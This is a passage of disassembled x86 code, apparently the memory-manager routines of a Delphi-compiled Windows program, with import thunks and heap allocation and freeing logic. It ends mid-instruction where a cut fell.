--------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401068 proc near ; CODE XREF: .data:004026B2p jmp dword_4060E0 sub_401068 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401070 proc near ; CODE XREF: .data:004026E5p jmp dword_4060DC sub_401070 endp ; --------------------------------------------------------------------------- dw 0C08Bh dd 609C25FFh, 0C08B0040h, 609825FFh, 0C08B0040h, 0BCC48353h dd 0ABBh, 0B9E85400h, 0F6FFFFFFh, 12C2444h, 0B70F0574h dd 8B30245Ch, 44C483C3h, 0C08BC35Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AC proc near ; CODE XREF: sub_4010EC+13p ; sub_401778+53p jmp dword_406094 sub_4010AC endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B4 proc near ; CODE XREF: sub_40183C+3Fp ; sub_40183C+9Dp jmp dword_406090 sub_4010B4 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010BC proc near ; CODE XREF: sub_401290+2Fp ; sub_4012F4+1Ep ... jmp dword_40608C sub_4010BC endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C4 proc near ; CODE XREF: sub_401290+56p ; sub_4012F4+69p ... jmp dword_406088 sub_4010C4 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010CC proc near ; CODE XREF: sub_401778+16p jmp dword_406084 sub_4010CC endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D4 proc near ; CODE XREF: sub_401778+29p ; sub_40183C+2Dp ... jmp dword_406080 sub_4010D4 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010DC proc near ; CODE XREF: sub_401778+B0p ; sub_40183C+C6p ... jmp dword_40607C sub_4010DC endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E4 proc near ; CODE XREF: sub_40183C+D0p jmp dword_406078 sub_4010E4 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_4010EC proc near ; CODE XREF: sub_401144+6p push ebx push esi mov esi, offset dword_4055D0 cmp dword ptr [esi], 0 jnz short loc_401132 push 644h push 0 call sub_4010AC ; LocalAlloc mov ecx, eax test ecx, ecx jnz short loc_40110F xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40110F: ; CODE XREF: sub_4010EC+1Cj mov eax, dword_4055CC mov [ecx], eax mov dword_4055CC, ecx xor edx, edx loc_40111E: ; CODE XREF: sub_4010EC+44j mov eax, edx add eax, eax lea eax, [ecx+eax*8+4] mov ebx, [esi] mov [eax], ebx mov [esi], eax inc edx cmp edx, 64h jnz short loc_40111E loc_401132: ; CODE XREF: sub_4010EC+Aj mov eax, [esi] mov edx, [eax] mov [esi], edx pop esi pop ebx retn sub_4010EC endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_40113C proc near ; CODE XREF: sub_401778+33p ; sub_401778+3Dp ... mov [eax], eax mov [eax+4], eax retn sub_40113C endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_401144 proc near ; CODE XREF: sub_40118C+5Dp ; sub_4011FC+73p ... push ebx push esi mov esi, edx mov ebx, eax call sub_4010EC test eax, eax jnz short loc_401158 xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_401158: ; CODE XREF: sub_401144+Dj mov edx, [esi] mov [eax+8], edx mov edx, [esi+4] mov [eax+0Ch], edx mov edx, [ebx] mov [eax], edx mov [eax+4], ebx mov [edx+4], eax mov [ebx], eax mov al, 1 pop esi pop ebx retn sub_401144 endp ; =============== S U B R O U T I N E ======================================= sub_401174 proc near ; CODE XREF: sub_40118C+2Cp ; sub_40118C+48p ... mov edx, [eax+4] mov ecx, [eax] mov [edx], ecx mov [ecx+4], edx mov edx, dword_4055D0 mov [eax], edx mov dword_4055D0, eax retn sub_401174 endp ; =============== S U B R O U T I N E ======================================= sub_40118C proc near ; CODE XREF: sub_401538+6Cp ; sub_4015C8+62p ... var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov esi, ecx mov [esp+14h+var_14], edx mov ebp, eax mov ebx, [ebp+0] mov eax, [esp+14h+var_14] mov edx, [eax] mov [esi], edx mov edx, [eax+4] mov [esi+4], edx loc_4011A8: ; CODE XREF: sub_40118C+57j mov edi, [ebx] mov eax, [esi] mov edx, [ebx+8] add edx, [ebx+0Ch] cmp eax, edx jnz short loc_4011CA mov eax, ebx call sub_401174 mov eax, [ebx+8] mov [esi], eax mov eax, [ebx+0Ch] add [esi+4], eax jmp short loc_4011DF ; --------------------------------------------------------------------------- loc_4011CA: ; CODE XREF: sub_40118C+28j add eax, [esi+4] cmp eax, [ebx+8] jnz short loc_4011DF mov eax, ebx call sub_401174 mov eax, [ebx+0Ch] add [esi+4], eax loc_4011DF: ; CODE XREF: sub_40118C+3Cj ; sub_40118C+44j mov ebx, edi cmp ebp, ebx jnz short loc_4011A8 mov edx, esi mov eax, ebp call sub_401144 test al, al jnz short loc_4011F6 xor eax, eax mov [esi], eax loc_4011F6: ; CODE XREF: sub_40118C+64j pop edx pop ebp pop edi pop esi pop ebx retn sub_40118C endp ; =============== S U B R O U T I N E ======================================= sub_4011FC proc near ; CODE XREF: sub_4016EC+7Ap ; sub_401AD4+99p var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF8h mov ebx, eax mov edi, ebx loc_401207: ; CODE XREF: sub_4011FC+88j mov esi, [edx] mov eax, [ebx+8] cmp esi, eax jb short loc_401280 mov ecx, esi add ecx, [edx+4] mov ebp, eax add ebp, [ebx+0Ch] cmp ecx, ebp ja short loc_401280 cmp esi, eax jnz short loc_40123D mov eax, [edx+4] add [ebx+8], eax mov eax, [edx+4] sub [ebx+0Ch], eax cmp dword ptr [ebx+0Ch], 0 jnz short loc_40127C mov eax, ebx call sub_401174 jmp short loc_40127C ; --------------------------------------------------------------------------- loc_40123D: ; CODE XREF: sub_4011FC+24j mov ecx, esi mov edi, [edx+4] add ecx, edi mov ebp, eax add ebp, [ebx+0Ch] cmp ecx, ebp jnz short loc_401252 sub [ebx+0Ch], edi jmp short loc_40127C ; --------------------------------------------------------------------------- loc_401252: ; CODE XREF: sub_4011FC+4Fj mov ecx, [edx] add ecx, [edx+4] mov [esp+18h+var_18], ecx mov edi, [ebx+8] add edi, [ebx+0Ch] sub edi, ecx mov [esp+18h+var_14], edi sub esi, eax mov [ebx+0Ch], esi mov edx, esp mov eax, ebx call sub_401144 test al, al jnz short loc_40127C xor eax, eax jmp short loc_401288 ; --------------------------------------------------------------------------- loc_40127C: ; CODE XREF: sub_4011FC+36j ; sub_4011FC+3Fj ... mov al, 1 jmp short loc_401288 ; --------------------------------------------------------------------------- loc_401280: ; CODE XREF: sub_4011FC+12j ; sub_4011FC+20j mov ebx, [ebx] cmp edi, ebx jnz short loc_401207 xor eax, eax loc_401288: ; CODE XREF: sub_4011FC+7Ej ; sub_4011FC+82j pop ecx pop edx pop ebp pop edi pop esi pop ebx retn sub_4011FC endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_401290 proc near ; CODE XREF: sub_401538+5Cp push ebx push esi push edi mov ebx, edx mov esi, eax cmp esi, 100000h jge short loc_4012A6 mov esi, 100000h jmp short loc_4012B2 ; --------------------------------------------------------------------------- loc_4012A6: ; CODE XREF: sub_401290+Dj add esi, 0FFFFh and esi, 0FFFF0000h loc_4012B2: ; CODE XREF: sub_401290+14j mov [ebx+4], esi push 1 push 2000h push esi push 0 call sub_4010BC ; VirtualAlloc mov edi, eax mov [ebx], edi test edi, edi jz short loc_4012EF mov edx, ebx mov eax, offset dword_4055D4 call sub_401144 test al, al jnz short loc_4012EF push 8000h push 0 mov eax, [ebx] push eax call sub_4010C4 ; VirtualFree xor eax, eax mov [ebx], eax loc_4012EF: ; CODE XREF: sub_401290+3Aj ; sub_401290+4Aj pop edi pop esi pop ebx retn sub_401290 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_4012F4 proc near ; CODE XREF: sub_4015C8+4Cp ; sub_4015C8+93p push ebx push esi push edi push ebp mov ebx, ecx mov esi, edx mov ebp, eax mov dword ptr [ebx+4], 100000h push 4 push 2000h push 100000h push ebp call sub_4010BC ; VirtualAlloc mov edi, eax mov [ebx], edi test edi, edi jnz short loc_40133E add esi, 0FFFFh and esi, 0FFFF0000h mov [ebx+4], esi push 4 push 2000h push esi push ebp call sub_4010BC ; VirtualAlloc mov [ebx], eax loc_40133E: ; CODE XREF: sub_4012F4+29j cmp dword ptr [ebx], 0 jz short loc_401366 mov edx, ebx mov eax, offset dword_4055D4 call sub_401144 test al, al jnz short loc_401366 push 8000h push 0 mov eax, [ebx] push eax call sub_4010C4 ; VirtualFree xor eax, eax mov [ebx], eax loc_401366: ; CODE XREF: sub_4012F4+4Dj ; sub_4012F4+5Dj pop ebp pop edi pop esi pop ebx retn sub_4012F4 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_40136C proc near ; CODE XREF: sub_401538+7Ep ; sub_4015C8+7Ap ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFECh mov [esp+24h+var_20], ecx mov [esp+24h+var_24], edx mov [esp+24h+var_1C], 0FFFFFFFFh xor edx, edx mov [esp+24h+var_18], edx mov ebp, eax mov eax, [esp+24h+var_24] add eax, ebp mov [esp+24h+var_14], eax mov ebx, dword_4055D4 jmp short loc_4013EC ; --------------------------------------------------------------------------- loc_40139B: ; CODE XREF: sub_40136C+86j mov edi, [ebx] mov esi, [ebx+8] cmp ebp, esi ja short loc_4013EA mov eax, esi add eax, [ebx+0Ch] cmp eax, [esp+24h+var_14] ja short loc_4013EA cmp esi, [esp+24h+var_1C] jnb short loc_4013B9 mov [esp+24h+var_1C], esi loc_4013B9: ; CODE XREF: sub_40136C+47j mov eax, esi add eax, [ebx+0Ch] cmp eax, [esp+24h+var_18] jbe short loc_4013C8 mov [esp+24h+var_18], eax loc_4013C8: ; CODE XREF: sub_40136C+56j push 8000h push 0 push esi call sub_4010C4 ; VirtualFree test eax, eax jnz short loc_4013E3 mov dword_4055B0, 1 loc_4013E3: ; CODE XREF: sub_40136C+6Bj mov eax, ebx call sub_401174 loc_4013EA: ; CODE XREF: sub_40136C+36j ; sub_40136C+41j mov ebx, edi loc_4013EC: ; CODE XREF: sub_40136C+2Dj cmp ebx, offset dword_4055D4 jnz short loc_40139B mov eax, [esp+24h+var_20] xor edx, edx mov [eax], edx cmp [esp+24h+var_18], 0 jz short loc_40141C mov eax, [esp+24h+var_20] mov edx, [esp+24h+var_1C] mov [eax], edx mov eax, [esp+24h+var_18] sub eax, [esp+24h+var_1C] mov edx, [esp+24h+var_20] mov [edx+4], eax loc_40141C: ; CODE XREF: sub_40136C+95j add esp, 14h pop ebp pop edi pop esi pop ebx retn sub_40136C endp ; =============== S U B R O U T I N E ======================================= sub_401424 proc near ; CODE XREF: sub_401538+2Dp ; sub_4015C8+E6p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF4h mov [esp+1Ch+var_18], ecx mov [esp+1Ch+var_1C], edx mov edx, eax mov ebp, edx and ebp, 0FFFFF000h add edx, [esp+1Ch+var_1C] add edx, 0FFFh and edx, 0FFFFF000h mov [esp+1Ch+var_14], edx mov eax, [esp+1Ch+var_18] mov [eax], ebp mov eax, [esp+1Ch+var_14] sub eax, ebp mov edx, [esp+1Ch+var_18] mov [edx+4], eax mov esi, dword_4055D4 jmp short loc_4014A6 ; --------------------------------------------------------------------------- loc_40146A: ; CODE XREF: sub_401424+88j mov ebx, [esi+8] mov edi, [esi+0Ch] add edi, ebx cmp ebp, ebx jbe short loc_401478 mov ebx, ebp loc_401478: ; CODE XREF: sub_401424+50j cmp edi, [esp+1Ch+var_14] jbe short loc_401482 mov edi, [esp+1Ch+var_14] loc_401482: ; CODE XREF: sub_401424+58j cmp edi, ebx jbe short loc_4014A4 push 4 push 1000h sub edi, ebx push edi push ebx call sub_4010BC ; VirtualAlloc test eax, eax jnz short loc_4014A4 mov eax, [esp+1Ch+var_18] xor edx, edx mov [eax], edx jmp short loc_4014AE ; --------------------------------------------------------------------------- loc_4014A4: ; CODE XREF: sub_401424+60j ; sub_401424+74j mov esi, [esi] loc_4014A6: ; CODE XREF: sub_401424+44j cmp esi, offset dword_4055D4 jnz short loc_40146A loc_4014AE: ; CODE XREF: sub_401424+7Ej add esp, 0Ch pop ebp pop edi pop esi pop ebx retn sub_401424 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_4014B8 proc near ; CODE XREF: sub_4016EC+2Ep var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov ebx, eax mov esi, ebx add esi, 0FFFh and esi, 0FFFFF000h mov [esp+14h+var_14], esi mov ebp, ebx add ebp, edx and ebp, 0FFFFF000h mov eax, [esp+14h+var_14] mov [ecx], eax mov eax, ebp sub eax, [esp+14h+var_14] mov [ecx+4], eax mov esi, dword_4055D4 jmp short loc_401527 ; --------------------------------------------------------------------------- loc_4014EF: ; CODE XREF: sub_4014B8+75j mov ebx, [esi+8] mov edi, [esi+0Ch] add edi, ebx cmp ebx, [esp+14h+var_14] jnb short loc_4014FF mov ebx, [esp+14h+var_14] loc_4014FF: ; CODE XREF: sub_4014B8+42j cmp ebp, edi jnb short loc_401505 mov edi, ebp loc_401505: ; CODE XREF: sub_4014B8+49j cmp edi, ebx jbe short loc_401525 push 4000h sub edi, ebx push edi push ebx call sub_4010C4 ; VirtualFree test eax, eax jnz short loc_401525 mov dword_4055B0, 2 loc_401525: ; CODE XREF: sub_4014B8+4Fj ; sub_4014B8+61j mov esi, [esi] loc_401527: ; CODE XREF: sub_4014B8+35j cmp esi, offset dword_4055D4 jnz short loc_4014EF pop edx pop ebp pop edi pop esi pop ebx retn sub_4014B8 endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= sub_401538 proc near ; CODE XREF: sub_401CE4+Bp var_18 = dword ptr -18h push ebx push esi push edi push ebp add esp, 0FFFFFFF8h mov esi, edx mov edi, eax mov ebp, offset dword_4055E4 add edi, 3FFFh and edi, 0FFFFC000h loc_401554: ; CODE XREF: sub_401538+75j mov ebx, [ebp+0] jmp short loc_40158C ; --------------------------------------------------------------------------- loc_401559: ; CODE XREF: sub_401538+56j cmp edi, [ebx+0Ch] jg short loc_40158A mov ecx, esi mov edx, edi mov eax, [ebx+8] call sub_401424 cmp dword ptr [esi], 0 jz short loc_4015BF mov eax, [esi+4] add [ebx+8], eax mov eax, [esi+4] sub [ebx+0Ch], eax cmp dword ptr [ebx+0Ch], 0 jnz short loc_4015BF mov eax, ebx call sub_401174 jmp short loc_4015BF ; --------------------------------------------------------------------------- loc_40158A: ; CODE XREF: sub_401538+24j mov ebx, [ebx] loc_40158C: ; CODE XREF: sub_401538+1Fj cmp ebx, ebp jnz short loc_401559 mov edx, esi mov eax, edi call sub_401290 cmp dword ptr [esi], 0 jz short loc_4015BF mov ecx, esp mov edx, esi mov eax, ebp call sub_40118C cmp [esp+18h+var_18], 0 jnz short loc_401554 mov ecx, esp mov edx, [esi+4] mov eax, [esi] call sub_40136C xor eax, eax mov [esi], eax loc_4015BF: ; CODE XREF: sub_401538+35j ; sub_401538+47j ... pop ecx pop edx pop ebp pop edi pop esi pop ebx retn sub_401538 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_4015C8 proc near ; CODE XREF: sub_401D10+10p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h push ebx push esi push edi push ebp add esp, 0FFFFFFECh mov [esp+24h+var_24], ecx mov edi, edx mov esi, eax mov ebp, offset dword_4055E4 add edi, 3FFFh and edi, 0FFFFC000h loc_4015E7: ; CODE XREF: sub_4015C8+6Cj ; sub_4015C8+B3j mov ebx, [ebp+0] jmp short loc_4015EE ; --------------------------------------------------------------------------- loc_4015EC: ; CODE XREF: sub_4015C8+2Dj mov ebx, [ebx] loc_4015EE: ; CODE XREF: sub_4015C8+22j cmp ebx, ebp jz short loc_4015F7 cmp esi, [ebx+8] jnz short loc_4015EC loc_4015F7: ; CODE XREF: sub_4015C8+28j cmp esi, [ebx+8] jnz short loc_401653 cmp edi, [ebx+0Ch] jle loc_40169B lea ecx, [esp+24h+var_20] mov edx, edi sub edx, [ebx+0Ch] mov eax, [ebx+8] add eax, [ebx+0Ch] call sub_4012F4 cmp [esp+24h+var_20], 0 jz short loc_401653 lea ecx, [esp+24h+var_18] lea edx, [esp+24h+var_20] mov eax, ebp call sub_40118C cmp [esp+24h+var_18], 0 jnz short loc_4015E7 lea ecx, [esp+24h+var_18] mov edx, [esp+24h+var_1C] mov eax, [esp+24h+var_20] call sub_40136C mov eax, [esp+24h+var_24] xor edx, edx mov [eax], edx jmp loc_4016E3 ; --------------------------------------------------------------------------- loc_401653: ; CODE XREF: sub_4015C8+32j ; sub_4015C8+56j lea ecx, [esp+24h+var_20] mov edx, edi mov eax, esi call sub_4012F4 cmp [esp+24h+var_20], 0 jz short loc_40169B lea ecx, [esp+24h+var_18] lea edx, [esp+24h+var_20] mov eax, ebp call sub_40118C cmp [esp+24h+var_18], 0 jnz loc_4015E7 lea ecx, [esp+24h+var_18] mov edx, [esp+24h+var_1C] mov eax, [esp+24h+var_20] call sub_40136C mov eax, [esp+24h+var_24] xor edx, edx mov [eax], edx jmp short loc_4016E3 ; --------------------------------------------------------------------------- loc_40169B: ; CODE XREF: sub_4015C8+37j ; sub_4015C8+9Dj mov ebp, [ebx+8] cmp esi, ebp jnz short loc_4016DC cmp edi, [ebx+0Ch] jg short loc_4016DC mov ecx, [esp+24h+var_24] mov edx, edi mov eax, ebp call sub_401424 mov eax, [esp+24h+var_24] cmp dword ptr [eax], 0 jz short loc_4016E3 mov eax, [esp+24h+var_24] mov eax, [eax+4] add [ebx+8], eax mov eax, [esp+24h+var_24] mov eax, [eax+4] sub [ebx+0Ch], eax cmp dword ptr [ebx+0Ch], 0 jnz short loc_4016E3 mov eax, ebx call sub_401174 jmp short loc_4016E3 ; --------------------------------------------------------------------------- loc_4016DC: ; CODE XREF: sub_4015C8+D8j ; sub_4015C8+DDj mov eax, [esp+24h+var_24] xor edx, edx mov [eax], edx loc_4016E3: ; CODE XREF: sub_4015C8+86j ; sub_4015C8+D1j ... add esp, 14h pop ebp pop edi pop esi pop ebx retn sub_4015C8 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_4016EC proc near ; CODE XREF: sub_401AD4+4Ep ; sub_401AD4+61p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h push ebx push esi push edi add esp, 0FFFFFFECh mov edi, ecx mov [esp+20h+var_20], edx lea ebx, [eax+3FFFh] and ebx, 0FFFFC000h mov esi, [esp+20h+var_20] add esi, eax and esi, 0FFFFC000h cmp ebx, esi jnb short loc_40176D mov ecx, edi mov edx, esi sub edx, ebx mov eax, ebx call sub_4014B8 lea ecx, [esp+20h+var_1C] mov edx, edi mov eax, offset dword_4055E4 call sub_40118C mov ebx, [esp+20h+var_1C] test ebx, ebx jz short loc_401756 lea ecx, [esp+20h+var_14] mov edx, [esp+20h+var_18] mov eax, ebx call sub_40136C mov eax, [esp+20h+var_14] mov [esp+20h+var_1C], eax mov eax, [esp+20h+var_10] mov [esp+20h+var_18], eax loc_401756: ; CODE XREF: sub_4016EC+49j cmp [esp+20h+var_1C], 0 jz short loc_401771 lea edx, [esp+20h+var_1C] mov eax, offset dword_4055E4 call sub_4011FC jmp short loc_401771 ; --------------------------------------------------------------------------- loc_40176D: ; CODE XREF: sub_4016EC+24j xor eax, eax mov [edi], eax loc_401771: ; CODE XREF: sub_4016EC+6Fj ; sub_4016EC+7Fj add esp, 14h pop edi pop esi pop ebx retn sub_4016EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401778 proc near ; CODE XREF: sub_401E64+14p ; sub_401FF4+19p ... push ebp mov ebp, esp xor edx, edx push ebp push offset word_40182E push dword ptr fs:[edx] mov fs:[edx], esp push offset dword_4055B4 call sub_4010CC ; InitializeCriticalSection cmp byte_405035, 0 jz short loc_4017A6 push offset dword_4055B4 call sub_4010D4 ; RtlEnterCriticalSection loc_4017A6: ; CODE XREF: sub_401778+22j mov eax, offset dword_4055D4 call sub_40113C mov eax, offset dword_4055E4 call sub_40113C mov eax, offset dword_405610 call sub_40113C push 0FF8h push 0 call sub_4010AC ; LocalAlloc mov dword_40560C, eax cmp dword_40560C, 0 jz short loc_40180D mov eax, 3 loc_4017E3: ; CODE XREF: sub_401778+7Dj mov edx, dword_40560C xor ecx, ecx mov [edx+eax*4-0Ch], ecx inc eax cmp eax, 401h jnz short loc_4017E3 mov eax, offset dword_4055F4 mov [eax+4], eax mov [eax], eax mov dword_405600, eax mov byte_4055AC, 1 loc_40180D: ; CODE XREF: sub_401778+64j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset aAmu@ ; " ¬U@" cmp byte_405035, 0 jz short locret_40182D push offset dword_4055B4 call sub_4010DC ; RtlLeaveCriticalSection locret_40182D: ; CODE XREF: sub_401778+A9j retn sub_401778 endp ; sp-analysis failed ; --------------------------------------------------------------------------- word_40182E dw 55E9h ; DATA XREF: sub_3D4B78+6o ; sub_401778+6o dd 0EB000011h db 0E5h aAmu@ db ' ¬U@',0 ; DATA XREF: sub_3D4B78+9Do ; sub_401778+9Do dw 0C35Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40183C proc near ; CODE XREF: .data:00403113p push ebp mov ebp, esp push ebx cmp byte_4055AC, 0 jz loc_401919 xor edx, edx push ebp push offset word_401912 push dword ptr fs:[edx] mov fs:[edx], esp cmp byte_405035, 0 jz short loc_40186E push offset dword_4055B4 call sub_4010D4 ; RtlEnterCriticalSection loc_40186E: ; CODE XREF: sub_40183C+26j mov byte_4055AC, 0 mov eax, dword_40560C push eax call sub_4010B4 ; LocalFree xor eax, eax mov dword_40560C, eax mov ebx, dword_4055D4 jmp short loc_4018A1 ; --------------------------------------------------------------------------- loc_40188F: ; CODE XREF: sub_40183C+6Bj push 8000h push 0 mov eax, [ebx+8] push eax call sub_4010C4 ; VirtualFree mov ebx, [ebx] loc_4018A1: ; CODE XREF: sub_40183C+51j cmp ebx, offset dword_4055D4 jnz short loc_40188F mov eax, offset dword_4055D4 call sub_40113C mov eax, offset dword_4055E4 call sub_40113C mov eax, offset dword_405610 call sub_40113C mov eax, dword_4055CC test eax, eax jz short loc_4018E7 loc_4018D0: ; CODE XREF: sub_40183C+A9j mov edx, [eax] mov dword_4055CC, edx push eax call sub_4010B4 ; LocalFree mov eax, dword_4055CC test eax, eax jnz short loc_4018D0 loc_4018E7: ; CODE XREF: sub_40183C+92j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_401919 cmp byte_405035, 0 jz short loc_401907 push offset dword_4055B4 call sub_4010DC ; RtlLeaveCriticalSection loc_401907: ; CODE XREF: sub_40183C+BFj push offset dword_4055B4 call sub_4010E4 ; RtlDeleteCriticalSection retn ; --------------------------------------------------------------------------- word_401912 dw 71E9h ; DATA XREF: sub_3D4C3C+14o ; sub_40183C+14o dd 0EB000010h db 0DBh ; --------------------------------------------------------------------------- loc_401919: ; CODE XREF: sub_40183C+Bj ; DATA XREF: sub_3D4C3C+B3o ... pop ebx pop ebp retn sub_40183C endp ; =============== S U B R O U T I N E ======================================= sub_40191C proc near ; CODE XREF: sub_401A2C:loc_401A8Dp ; sub_401A9C+23p ... push ebx cmp eax, dword_405600 jnz short loc_40192E mov edx, [eax+4] mov dword_405600, edx loc_40192E: ; CODE XREF: sub_40191C+7j mov edx, [eax+4] mov ecx, [eax+8] cmp ecx, 1000h jg short loc_401974 cmp eax, edx jnz short loc_401957 test ecx, ecx jns short loc_401947 add ecx, 3 loc_401947: ; CODE XREF: sub_40191C+26j sar ecx, 2 mov eax, dword_40560C xor edx, edx mov [eax+ecx*4-0Ch], edx jmp short loc_40197B ; --------------------------------------------------------------------------- loc_401957: ; CODE XREF: sub_40191C+22j test ecx, ecx jns short loc_40195E add ecx, 3 loc_40195E: ; CODE XREF: sub_40191C+3Dj sar ecx, 2 mov ebx, dword_40560C mov [ebx+ecx*4-0Ch], edx mov eax, [eax] mov [edx], eax mov [eax+4], edx pop ebx retn ; --------------------------------------------------------------------------- loc_401974: ; CODE XREF: sub_40191C+1Ej mov eax, [eax] mov [edx], eax mov [eax+4], edx loc_40197B: ; CODE XREF: sub_40191C+39j pop ebx retn sub_40191C endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= sub_401980 proc near ; CODE XREF: sub_401AD4+11p mov edx, dword_405610 jmp short loc_401998 ; --------------------------------------------------------------------------- loc_401988: ; CODE XREF: sub_401980+1Ej mov ecx, [edx+8] cmp eax, ecx jb short loc_401996 add ecx, [edx+0Ch] cmp eax, ecx jb short loc_4019AC loc_401996: ; CODE XREF: sub_401980+Dj mov edx, [edx] loc_401998: ; CODE XREF: sub_401980+6j cmp edx, offset dword_405610 jnz short loc_401988 mov dword_4055B0, 3 xor edx, edx loc_4019AC: ; CODE XREF: sub_401980+14j mov eax, edx retn sub_401980 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_4019B0 proc near ; CODE XREF: sub_401AD4+74p ; sub_401C58+68p push ebx mov ecx, edx sub ecx, 4 lea ebx, [ecx+eax] cmp edx, 10h jl short loc_4019CD mov dword ptr [ebx], 80000007h mov edx, ecx call sub_401B84 pop ebx retn ; --------------------------------------------------------------------------- loc_4019CD: ; CODE XREF: sub_4019B0+Cj cmp edx, 4 jl short loc_4019DE mov ecx, edx or ecx, 80000002h mov [eax], ecx mov [ebx], ecx loc_4019DE: ; CODE XREF: sub_4019B0+20j pop ebx retn sub_4019B0 endp ; =============== S U B R O U T I N E ======================================= sub_4019E0 proc near ; CODE XREF: sub_401A04+Dp ; sub_401C0C+36p ... inc dword_40559C mov edx, eax sub edx, 4 mov edx, [edx] and edx, 7FFFFFFCh sub edx, 4 add dword_4055A0, edx call sub_401FF4 retn sub_4019E0 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_401A04 proc near ; CODE XREF: sub_401AD4+8Ep cmp edx, 0Ch jl short loc_401A17 or edx, 2 mov [eax], edx add eax, 4 call sub_4019E0 retn ; --------------------------------------------------------------------------- loc_401A17: ; CODE XREF: sub_401A04+3j cmp edx, 4 jl short loc_401A26 mov ecx, edx or ecx, 80000002h mov [eax], ecx loc_401A26: ; CODE XREF: sub_401A04+16j add eax, edx and dword ptr [eax], 0FFFFFFFEh retn sub_401A04 endp ; =============== S U B R O U T I N E ======================================= sub_401A2C proc near ; CODE XREF: sub_401C58+36p push ebx push esi mov edx, eax sub edx, 4 mov edx, [edx] mov ecx, edx and ecx, 80000002h cmp ecx, 80000002h jz short loc_401A4F mov dword_4055B0, 4 loc_401A4F: ; CODE XREF: sub_401A2C+17j mov ebx, edx and ebx, 7FFFFFFCh sub eax, ebx mov ecx, eax xor edx, [ecx] test edx, 0FFFFFFFEh jz short loc_401A6F mov dword_4055B0, 5 loc_401A6F: ; CODE XREF: sub_401A2C+37j test byte ptr [ecx], 1 jz short loc_401A94 mov edx, eax sub edx, 0Ch mov esi, [edx+8] sub eax, esi cmp esi, [eax+8] jz short loc_401A8D mov dword_4055B0, 6 loc_401A8D: ; CODE XREF: sub_401A2C+55j call sub_40191C add ebx, esi loc_401A94: ; CODE XREF: sub_401A2C+46j mov eax, ebx pop esi pop ebx retn sub_401A2C endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= sub_401A9C proc near ; CODE XREF: sub_401C58+4Fp push ebx push esi push edi mov ebx, eax xor edi, edi mov eax, [ebx] test eax, 80000000h jz short loc_401AB7 and eax, 7FFFFFFCh add edi, eax add ebx, eax mov eax, [ebx] loc_401AB7: ; CODE XREF: sub_401A9C+Ej test al, 2 jnz short loc_401ACE mov esi, ebx mov eax, esi call sub_40191C mov eax, [esi+8] add edi, eax add ebx, eax and dword ptr [ebx], 0FFFFFFFEh loc_401ACE: ; CODE XREF: sub_401A9C+1Dj mov eax, edi pop edi pop esi pop ebx retn sub_401A9C endp ; =============== S U B R O U T I N E ======================================= sub_401AD4 proc near ; CODE XREF: sub_401B84+61p var_1C = byte ptr -1Ch var_1B = dword ptr -1Bh var_17 = dword ptr -17h push ebx push esi push edi push ebp add esp, 0FFFFFFF4h mov edi, edx mov esi, eax mov [esp+1Ch+var_1C], 0 mov eax, esi call sub_401980 mov ebx, eax test ebx, ebx jz loc_401B76 mov ebp, [ebx+8] mov eax, ebp add eax, 